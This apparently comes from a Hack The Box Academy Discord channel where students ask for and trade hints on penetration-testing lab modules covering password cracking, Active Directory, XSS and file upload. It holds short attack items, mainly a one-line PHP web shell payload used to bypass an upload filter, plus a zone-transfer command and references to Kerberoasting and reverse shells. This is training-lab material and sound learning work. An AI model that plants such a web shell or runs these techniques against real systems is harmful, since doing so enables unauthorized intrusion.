after verifying my cmd is correct of course... but this is taking so damn long >.>
password attacks?
yeah
8 char all chars and numbers... why do they choose passwords that take forever to crack... watch the machine timeout before its even done ./facepalm
which question are you on
Hash found, and used in the cmd
i put it in crackstation in the hopes its a standard one... but alas its not...
wait that is foorprinting module
did you try msfconsole?
yeah, thats how I got the hash
What is the john/hashcat command you're running?
im confused then. whats the question
they're having trouble cracking the hash
here the cmd
my bad.
more like its going to take 20 hours...
that is your problem
you're trying to guess the password character by character for 8 characters
just use a wordlist
yep
you don't know the password is 8 characters, so why are you assuming it is?
your hashcat is all wrong
just from the lesson, im implying
copy pasted from the lesson, so they are wrong as well?
oof assuming the example is the same situation as the assessment
That is saying if the password was default you can break it that way
i didnt see that anywhere in this section
the IPMI password isn't a default
im going off of this
those 2 default passwords dont work. And the wordlist mentioned in msfconsole doesn't return anything either
and you can't just assume it is or else you'll be stuck in this waiting game for a brute force attack that might not work
you have the hash
you should use wordlists to crack it
Not all wordlists are the same😉
well they could put in a darn hint in there to avoid wasting peoples live/time ./facepalm... I tell you sometimes I question the value of these lessons...
but rockyou rocks
rockyou is another that ll take forever...
you gotta learn to be able to adapt from just rote memorization of the material to actually prove you understand it
rockyou won't take forever
its a very very common theme amongst the whole course
it took less than 1 minute to crack
also @warm kernel it says in the module next to that command In the event of an HP iLO using a factory default password
the others I've just roughly followed and it was enough though... this isn't hacking, its just a lesson... ffs this pisses me off, such a weak machine and so many options for just a lesson. Very ineffective if you ask me
I felt this module tied together with broken auth and password attacks very well.
copy pasting from tutorials only gets you so far, you have to actually understand the content and know how to properly apply it
I guess its all how you read it. I never once thought to attempt to blindly brute force the password
I instantly went to rockyou
There are later modules that will actively be harder if you use the rote method they teach instead of synthesizing and utilizing lessons from prior modules to do better.
I am a junior pentester already employed, im doing this to add to other skill sets, im not here to waste time brute forcing lists. This is supposed to be a lesson. Ill apply proper techniques on a box/pentest, not lessons. Not sure I agree with your view, time is short, and wasting it on ineffective things for lessons isn't the way to go about it
You do realize your method is wasting more time?
We already told you wordlists are the way to go...
or maybe the lesson is to teach you a method and learning it may save you time in the future? just my thought
Well im more optimistic about my future employment prospects now
yeah, im venting on the lesson though
just use a wordlist crack the hash and move on
pretty much yeah
So you just exchanged text between the listeners?
it is very true not every lesson is copy/paste. Especially if you're on the CPTS path (which I assume you are) you will have to learn and understand the concepts and apply them. Future modules aren't copy/paste, it's apply what you learned research more if needed
just an fyi but the average time to crack an 8 character password is 84 days.
The payload arledy contains said listener if you bothered reading through it
on that VM its probably 3000 days
could be. My point is that even with a super computer, the odds of cracking a password without using a wordlist in the time allotted has got to be .000000000000000000000000000000000000000001
I just assumed it would have been at the start of the search like other labs do
never assume😉
using the rockyou wordlist took 56 seconds
yeah I already got it, thanks!
Sorry for the ping, but this simple trick saved my butt 🤣
Tysm
Just a FYI. If you were able to tell that the IPMI was HP iLO, you're assuming it's using default creds, AND you weren't able to extract any hashes then you'd use that hashcat command to attempt to brute force the default password, but yes this will take a lot of time
npnp
sorry for the rant gents 😦
nah you're good
it does get frustrating at time, but you learn from it🤷♂️
just wait until you get to Password Attacks😊
lol, at this point, im not assuming anything with these labs
would have saved me alot of time, ahah
Feel free to dm me @potent ermine if that doesn't clear it up
Password attacks takes forever
speaking of... Im on the section "Pass the Ticket (PtT) from Linux" and I cant ssh in with the creds they provide.
Speaking of.. I was just wondering why my ssh is timing out aswell
ah, mine didn't get as far as to ask for the password
||I did ssh david@inlanefreight.htb@<ip> -p 2222||
The username for the domain is david@inlanefreight.htb
that worked. Very confusing
yeah I got me at first too. Just remember it's a domain user so you need to include the full domain
typically that would have been the command.
I got it, thanks! I misunderstood and taught I had to set up the listener and then the command. Will read more carefully going forward 👍
Hi is anyone a good hacker
yeah
lol I literately went back and redid all my notes
I call that one the midterm
Soo should fluff be only getting errors and finishing 100k request in 1 sec?
cheers. urlscan detected it as B/L
Is this the place to post questions?
B/L???
For HtB academy yes
Wonderful my question is simple, I'm going through Windows Fundamentals
lol that module is a beast
I'm into examining services using sc
When I pass sc qc wuauserv
Into PowerShell
I'm not getting anything returned
Are you in a reverse shell
As far as I am aware
that could be why
I had a hard time getting my reverse shell to always give output
I think it doesn't get caught because its not sent as standard out but as standard error which we don't send back on the shell
so either your command is formatted wrong or you can see if you change the output to a txt and read that
I'll give that a try
Stupid question. What tool would I use to log in??
There are so many different tools introduced in this module that it hurts my head
try them all 🙂
lol
see what works and what doesn't and why
output to txt didn't work
Ok I'll try harder haha
I really haven't done the AD modules yet so I can't help lol try RDP, SSH, WinRM whatever is open
I finished the Ad Module Sunday so its still fresh lol
How long did it take for you to do both Skills assessments?
for me AD1 was maybe an hour or two, Idr. but AD 2 was 8 hours.
I concur with try multiple, smb, winrm, rdp, wimiexec, etc
Oh god
Its unarguably the hardest assessment in the whole module Ive done so far
but also the best
AD is a weak point for me, so it is good to get out of my comfort zone
and ftr im at 76.5% of cpts course completion
Im sure one of the latter ones might be tougher
just be happy the module after AD is easy but a total stinker and you get to push a button 300 times till the flag drops like a shitty WoW boss
what module will help me to crack passwords
Password Attacks
but be warned, its def one of the worst and most infuriating modules
I believe theres also a hashcat specific module as well, but not tied to the courses.
im a complete beginner what would you reccomend to start me off
complete beginner in password cracking or complete beginner in general?
Do cracking into htb then Basic toolset if your totally new
if in general I def recommend just flowing the CPTS course, but if you need some linux experience Id do that path first
ok thanks
could someone throw me a hint on this file inclusion skill assessment...im at ||the admin panel|| am i in the right place?
yes i believe you are.
thnx
yeah youre in the endgame now
so did the academy site go down or me running ffuf get me banned by the ips
as the fuff module said to run ffuf on it and now I cant reach the site lol
its back, im convinced it blocked me lol
Module: Cross Site Scripting/Session hijacking
Qus: Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the 'Session Hijacking' scripts to grab the Admin's cookie and use it in 'login.php' to get the flag.
i followed everything mentioned on the page but aint getting a request on the php server
Hi all, im doing DOCUMENTATION & REPORTING module, you know which tool is using in the Report example to paste code lines?, im trying to use latex but pasting code is so frustrating.
I cant paste de image but is the sample report in the resource box
This may be a dumb question but... The AD Enumeration and Attack module references Snaffler which is a C# tool but it never actually talks about compiling the program which does not come pre-compiled. I've tried to poke around compiling from the linux attack host with mono before transfering as well as transfering the source to a Windows host and compiling with MSbuild but both had failures.
How do people compile C# programs that use .sln and .csproj files (not just a standalone .cs) when you don't have VSCode available?
@lament hollow Did you try to use the .NET CLI https://learn.microsoft.com/en-us/dotnet/core/tools
can anyone help me out with the Introduction to Windows Command Line (User and Group Management)? got one question relating to domain user
I found all except that one, i used msf too. But i do not have any clue. Can u help me for hint.
Edit: 😩 after a lot of time, i got it.
Finished AD1... that was a bear! I can't imagine 2 will be any easier....
hint you can use ||Get-ADUser|| for that also feel free dm me if you still need help
if you use the right payload you should see a call back on your server so try testing the payload first to make sure you got the right one (all you need is a back verify your payload work you for testing you don't need to make the ||js|| and ||php|| file)
Any tips for making ||Examine the target and find out the password of the user Will. Then, submit the password as the answer.|| go along a bit quicker? The provided hint doesn't work (||I'm assuming they want me to riff off of the password given with a mutated list but not sure||)
which module and section are you on?
if you are new to this i recommend you give both of these a check to see what you should and need to learn first
https://www.youtube.com/watch?v=0vu_Hs4N8B8
https://www.youtube.com/watch?v=lhz0-qAQlBM
Introductory video on getting into hacking and cybersecurity.
Sponsor: https://go.intigriti.com/thecybermentor
Blog Post: https://tcm-sec.com/so-you-want-to-be-a-hacker-2022-edition/
Academy: https://academy.tcm-sec.com
Timestamps:
0:00 - Introduction
0:53 - Intigriti Sponsorship
1:55 - Building a Foundation
2:10 - Important Notes
5:37 - Basic IT Skills
8:28 - Networking Skills
12:38 - Linux Skills
17:04 ...
is the payload included in the module or do i have to look for it outside?
i'm pretty sure it is but let me double check
yep it is one of the ||example payload|| would work for this
If talking to me Password Attacks: Credential Hunting in Linux
If not talking to me...whoops.
I did but I get the Get-ADUser : The server has rejected the client credential. I will dm you
yep i am i just don't like unnecessary ping so sr for that but hint you will need to take over a different account first before you can get to the user ||will||
sure
If you purchase cubes do you get the cubes automatically credited in you account?
yep if you buy the cubes it should be added instantly into your account
https://academy.hackthebox.com/achievement/453129/167
nice module but the holding ctrl and backspace to delete a whole word in powershell on the domain controller is kinda F so that's a bit annoying for long command
As administrators and Pentesters, we may not always be able to utilize a graphical user interface for the actions we need to perform. Introduction to Windows Command Line aims to introduce students to the wide range of uses for Command Prompt and PowerShell within a Windows environment. We will cover basic usage of both key executables for admin...
There is no flag here. Get back to hacking!
yo quick question. a couple of weeks ago i won a silver annual voucher and my question is will i keep all the modules i have done and unlocked after the voucher runs out?
you will only have access to the modules you've completed. If you didn't complete them you will have to pay cubes to unlock them again
ah thats what i was thinking. thanks ❤️
Is there a list of retired machines that use part of a module? Like the file inclusion module is fun but I would love to have practice of them on machines and not on the too easy examples in the module.
At the end of every module there's some suggested machines in which the topics appear
Also there's ippsec.rocks
Really? I just finished some and and no suggestions. 😕
Ippsec rocks could indeed be handy. Seems to be what I was looking for
Hello everyone, Does anyone tried Deserialization module in HTB Academy? Need a little hint for the last flag :))
Only certain modules include the retired machines section at the end.
Greetings!
Anyone working around the meterpreter module?! Been stuck for a while 😦
OMG finally finished Password Attacks🥳 Learned so much but damn that took time
it was a long module for sure. I am working on the PTT from linux section to finish the additional content they added.
👍
There is no meterpreter module, but if you're talking about the Using the Metasploit Framework module you can dm me
Hey this is a stupid question - I redeemed a voucher into the Academy but seem unable to actually do anything with it haha. It's nbd but wondered what's the point of such a feature? Is it purely for the CPTS? If so maybe I'll just have to add a bunch more and commit.
HELLO
Hello
can someone help me out with windows commandline introduction module?
This is genius and shows HTB cares https://www.hackthebox.com/newsroom/discord-lab-tutoring
Hi
contact support
Does anyone know where is the password so i can use the Impacket Module? https://academy.hackthebox.com/module/143/section/1274
Oh im so dumb :DDD
I got it
I just finished the Learning Process module and I must confess, it is a gem, a masterpiece, a module of knowledge, wisdom and understanding. My mentality has undergone series of changes for the past 2 weeks as I took notes. Kudos and thank you to HTB and the writer(s) of that module. You have given me an invaluable information I can go back to study often and not get bored. To any who'd take the module, I recommend taking notes (even though it's not infosec technical), actually writing because writing causes thinking, it convinces your mind to know you're not wasting your time and also absorbs the information like foam to water.
My 2 cubes.
You can do this!!
For the ffuff assessment whats the format it wants for the first answer? I've tried just the name of the subdomain as well as xxx.academy.htb // http://xxx.academy.htb
it wont take any of the 3 subdomains I found in any of those formats
awesome thanks, that should be noted as a hint
What are all the sub-domains you can identify? (Only write the sub-domain name)
Yeah but when they want a specific format they usually specify
I tried listing them all with , between each at first
plural helps
hey guys, final assesment is asking for this: To grab this final flag, what user account has many Event ID (4625)
im running: Get-WinEvent | Where-Object {$_.ID -eq "4625"}
but i am unable to get the name outputed. Any idea?
Anyone finish the Attacking Authentication Mechanisms skill assessment? I'm at the point where I have to send first name last name email and password, I craft my jwt token but it's not accepted.
What does '^ii' indicate?
in what specifically?
generally
That does not help. In fishing, soccer, knitting, it means nothing. In Bash, or python, or something else it may have different meaning
In bash
there we go. In Bash the ^ is used for xor.
but as far as ^ii I havent seen that before.
can you post a line of the code, maybe it will help identify the purpose
dpkg -l | grep -c '^ii'
From my understanding, this counts the packages installed but doesn't count the first line
in that case it is looking for the string ^ii in the list of packages
it wont count them but it will list them
now if you add | wc -l it will count
Hey, can anyone help me with Credential Hunting in Linux in Passwords Attacks? I don't get what should I do. I have the username in the task, but the whole section is about the local credential hunting, not remote, so I don't think the point is to spam the target with crackmapexec. In the hint there are credentials for other user, but they do not work for the target. What am I missing?
Oh, I thought it was a general use and it indicated the first line or something
it does count them
the ^ is regex to show only lines beginning with ii
im not really sure what role the ^ plays as it doesnt exist when you do dpkg -l
so it'll only list something if the line begins with ii
if you exclude the ^ it'll show every instance of ii in the file.
you forgot to use grep -c
ahhh
That explains alot. Thanks
No worries. Regex is actually quite baffling but it's worth learning a little bit here and there.
Thank you for clarifying things @lethal atlas
I only helped a little, @candid zephyr brought us home.
Could anyone give me a nudge on ad assessment part 1? I'm looking for the other user with a clear text password. I tried snaffler and got nothing.
At AD Enumeration & Attacks - Skills Assessment Part II question 8 (Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.) I've found hashes with lazagne but I've been unable to login with them or crack any. dcsync and kerberoasting didn't work and I haven't found anything with snaffler either.
dm
go back to basics on harvesting credentials after youve escalated on SQL01
Has anyone completed the ATTACKING COMMON APPLICATIONS Other Notable Applications skill assessment? I know that the vulnerable app is ||WebLogic ||I even found the exploit for it on exploitdb and I think it's running correctly, but I can't figure out what reverse shell to use on it. I've basically gone through all of the reverse shells on revshells.com and none have stuck. Can anyone give me a nudge in the right direction? 🙏
Ok, I've basically gone through like 3.5k passwords for Kira. That's more or less max I can do in 90 the lab is giving me, before changing the IP. What am I doing wrong? I generated the mutated password list using the provided rule and LoveYou1 from the hint. I took every password that was even remotely similar to "love" from the 94k passwords I get when running this rule on the password set provided in the zip. Still hydra doesn't find anything. Why is accessing the machine taking me more time than the task itself? I've been stuck for a few WEEKS on that!
Hey I have a question, I try to nslookup the target for the active domain enumeration module in info gathering but I always got the "server could not be find" someone can help ?
dm me bro
make sure you placed an entry in /etc/hosts
Will try it thx
nop 😦 still having the error when typing a simple nslookup or dig command
dm me and lets work thru your commands
ok
Hello
Anyone have suggestions about this?
I have some text file in desktop, I want to open the text file in my kali terminal directly by double clicking it
Is that possible?
Instead of opening terminal and typing cat <file name> , I want the text file to open in terminal directly
you have to make sure your nslookup is specifying the target as the dns query otherwise itll use your system dns
Hi guys, need some help on Type Filters section of the File Upload module.
Managed to bypass the filters and upload the shell but trying to acess it i get an error
The image cannot be displayed because it contains errors.
I dont know any simple way to do this nor have I heard if anyone wanting to do this.
your payload might have typos
also you got some spoilers in there
payload being used is GIF8 <?php system($_REQUEST['cmd']); ?>
oops, sorry already fixed it
payload looks good, not sure the issue. Maybe drop the : from your filename, I dont think thats needed and server may be parsing it weird.
I did nslookup -query=AXFR 10.129.X.X inlanefreight.htb
I figured it out. 😉 If anyone has any questions about this one dm me.
Figured it out, for those who face the same error, generate a new wordlist but instead of jpg use gif.
interesting, I def used jpg on mine, but whatever works
i used a jpg as well, but had to use a diffferent magic byte
I also had a nearly completely different strategy than what was taught in the module as well, so I may have simply stumbled across a combo that worked easier. Bout half a dozen combos actually
has anyone done the PTT from linux portion of password attacks?
I’m not at my computer atm but you can dm me
I may have found something, let me try this first then I will dm you if needed
Hey all just a quick question on nmap
I'm working through the enumeration module
One of the questions is to enumerate all ports and their services
I am using sudo nmap 10.129.2.28 -p- -sV --stats-every=5s
My question is how long should a scan take
Full a full scan
nmap scans can take a long time especially if you’re scanning all ports. It really depends on a lot of factors
within that module you will learn a lot of techniques to speed it up
Right, as for this part should I just let it run
Lol just adding them in, scan is nearly where it was after 20minutes
-Pn basically says don’t ping the box/port assume it’s up. This option alone will save a lot of time
Is it possible to brute force a login page using ffuf rather than Hydra?
UDP always takes forever so good luck with that one😂
I mean I haven’t tried it but maybe? ffuf supports the option to fuzz off a request. Capture the login request and use that and see if it works
I'm going to give it a try I finished the ffuff module earlier today and am on the brute forcing one thats taking forever with hydra
I figured it out and found an excellent write up on how to do it! https://notes.benheater.com/books/web/page/use-ffuf-to-brute-force-login
Brute Force with a Request File
Start Burp
Make a randomized login to the target web page
Copy th...
Could I have some help on the Active Directory Skills assessment 1?
|| I am trying to perform Kerberoasting. I transferred PowerView.ps1 to the target. And I am trying to extract TGS tickets. Not having luck with this method. I've also had issues by getting the tickets into memory and extracting them with mimikatz. Wondering what I am doing wrong ||
Should be pretty straightforward after I crack the hashes with hashcat
personally I prefer just uploading chisel and then proxychaining impacket for kerberoasting
Doing this module before Pivoting, Tunneling and Port Forwarding was a bad idea
haha
I mean it never suggests you do it that way, its just my preferred method for most of the module. less files dropped on the targets
it burned me a little on one step of ad 2 but meh, that's life
finding exactly one scenario within two ad assessments where mimikatz outperformed proxying impacket tools is perfectly good enough in my books lol
you should do the modules in order that’s what they were designed for😉
so I remember someone else having this issue and they said it worked if you put both all on one command
I think each input command into the webshell is actually spawning a new process, so after you import module itll immediately forget about it
Cool. i'll try that out
Hi guys,
I'm studying at GETTING STARTED - Knowledge Check (GetSimple CMS 3.3.15),
I'm answering the first question "Spawn the target, gain a foothold and submit the contents of the user.txt flag."
Now I have a foothold, and when I type sudo -l, it shows up like the picture.
I have a question that is (ALL : ALL) NOPASSWD: /usr/bin/php
Is it possible for all users to execute the sudo command while in the /usr/bin/php directory?
im doing this session security module: XSS (netcat) .... my output is waaay different than the example....anybody else have this issue?
Yes
Looks weird
yea i just restarted it and i still get the same thing
yea i mean the XSS outputs to netcat...so it does work...i just cant follow along because i dont have the key it output
You could also try doing it on pwnbox
yea you right haha
Also if I recall correctly think you save the cookie
yea it has me decode it in the console
Good Morning, I'm doing the introduction to nosql injection module and I'm hanging at the 2nd Skill Assessment II (https://academy.hackthebox.com/module/171/section/1692). I tried everything I leaned in this module, but nothing works. I tried every input filed, I think the login is the only input field which is vulnerable. It would be awesome if someone can give me a nude. What I noticed is that the backend is python not php or nodejs.
Do more people have problems with the Three: very easy box?
I cant find the domian s3.thetoppers.htb with gobuster.
Hello All,
I am trying to improve my python scripting and automation skills by automating some of the tasks, I wanted to ask if someone has already done that using HTB Academy modules or if that will be a good idea to work on?
If not, can someone please help me with additional suggestions?
I am basically planning to pick up tasks in the modules, first complete them manually, then automate them using python.
ask that at #starting-point if you can't access that channel use ++verify at #bot-commands
I got it it worked with something someone already explained. Sorry
But is it possible that the website no longer runs with php
i would htb academy isn't the best place to learn python scripting and i script everything in bash so sorry i don't have any suggestions for python
Anyone avalaible for Attacking Common Services - Hard please ?
:/ okay
it could be but i got no idea what s3 bucket originally run with
sure what's the issue?
I don't know if I'm using the right password list, I tried with rockyou and the list in resources but without success
yeah i got no note what wordlist i use for some reason but rockyou should work
also shoot me a dm on what you are brute forcing
ok
Yes it is. Look for my question in the same channel. Some people were kind enough to suggest to me how to do it
I finished it 😆
Nice!
What exactly am I doing wrong here? Searching the error on google wasn't very helpful either
use single quotes
oh wait i forgot kali is using zsh shell
only bash have issue with special character
you got a connection issue
check if your target is still alive and the vpn is still working
Hey guys, getting stuck at exercise in bash script
#!/bin/bash
var="8dm7KsjU28B7v621Jls"
value="ERmFRMVZ0U2paTlJYTkxDZz09Cg"
for i in {1..40}
do
var=$(echo $var | base64)
#<---- If condition here:
done
Need to answer this question
Create an "If-Else" condition in the "For"-Loop that checks if the variable named "var" contains the contents of the variable named "value". Additionally, the variable "var" must contain more than 113,450 characters. If these conditions are met, the script must then print the last 20 characters of the variable "var". Submit these last 20 characters as the answer.
Can anybody help? My Initial thought is to write something like that, but no correct answer is printed 
#!/bin/bash
var="8dm7KsjU28B7v621Jls"
value="ERmFRMVZ0U2paTlJYTkxDZz09Cg"
for i in {1..40}
do
var=$(echo $var | base64)
if [[ ${#var} -gt 113450 && $var == *"$value"* ]]
then
echo $var | tail -c 20
fi
done
```
Thanks in advance!
how can i update the rank?
Read #welcome and verify your account. You need to complete, "pwn", active machines and challenges on the main HTB platform to increase that rank.
a linux appeared in my task manager what can it be
thank you
@rustic sage the modules dont intefer with the rank?
i started from a short time ago , i started using this like a week ago , i completed the
- Metasploit
- Introduction to Network
- Sql injection fundamentals
But my ranks stills very low :(
HTB Academy doesn't affect or increase your rank in any way on the HTB Platform or this Discord server. The Academy is strictly for learning and growing. If you want to increase you HTB Rank and Discord rank you need to pwn challenges and boxes on the main HTB Platform, not Academy.
you need to be connected to the VPN
hello are you still stuck ??
Hello I am having trouble accessing Web serviced and API attacks module. There is a particular question when i access it the whole academy websites stops to respond. Everything else is working fine but due to that i can't complete the module.
Holy hell. Finally finished the PtT section of password attacks and I apparently found an unintended way of getting the flag from LINUX01. Interesting section to say the least
Someone can help me with this error
Received content contained invalid JSON!
curl -X POST -d '{"search":"san francisco"}' -b 'PHPSESSID=6lmi6h3e8f5mue8as8i864mrfu' -H 'Content-Type: application/son' http://206.189.113.161:32684/search.php
And this is the line of code, it's in the WEB request, POST
Good evening! Can anyone help with Introduction to Deserialization Attacks-Skills Assessment?
Hey guys can i ping anyone about the xss module, i have something that should be working , but it doesnt
check your command, you have application/son instead of application/json
sure hit me up
sorry, that has been erased now, on the machine put 'json'
still not working?
yes
just need to modify your if statement just a bit
@cobalt prism feel free to dm me
hi
hello
any idea how to get the different types of roles?
You do stuff on the main HTB site
the more you do there, the higher your rank here.
There's no field for "account identifier" in settings for me
Nvm I was on the academy settings
Man, I had been avoiding learning manual SQL injection for the longest time, but the training module was actually super easy.
I don't think that deserves to be qualified as 'medium' lol
meanwhile me here getting confused on the "learning process" module
For the buiteforcing module Service Login assessment, for the "user" do they mean ||harrypotter|| ??? As thats the only name i've found during the previous skills assessment.
I believe so or something along those lines, its a dumb module assessment
This module has been kinda confusing in random parts as far as question formating
im not sure if im supposed to be bruteforcing the username or the password or both
like the hint says to add more info am I supposed to go to the harry potter wiki to get more info? lol
It's... definitely not the best module lol



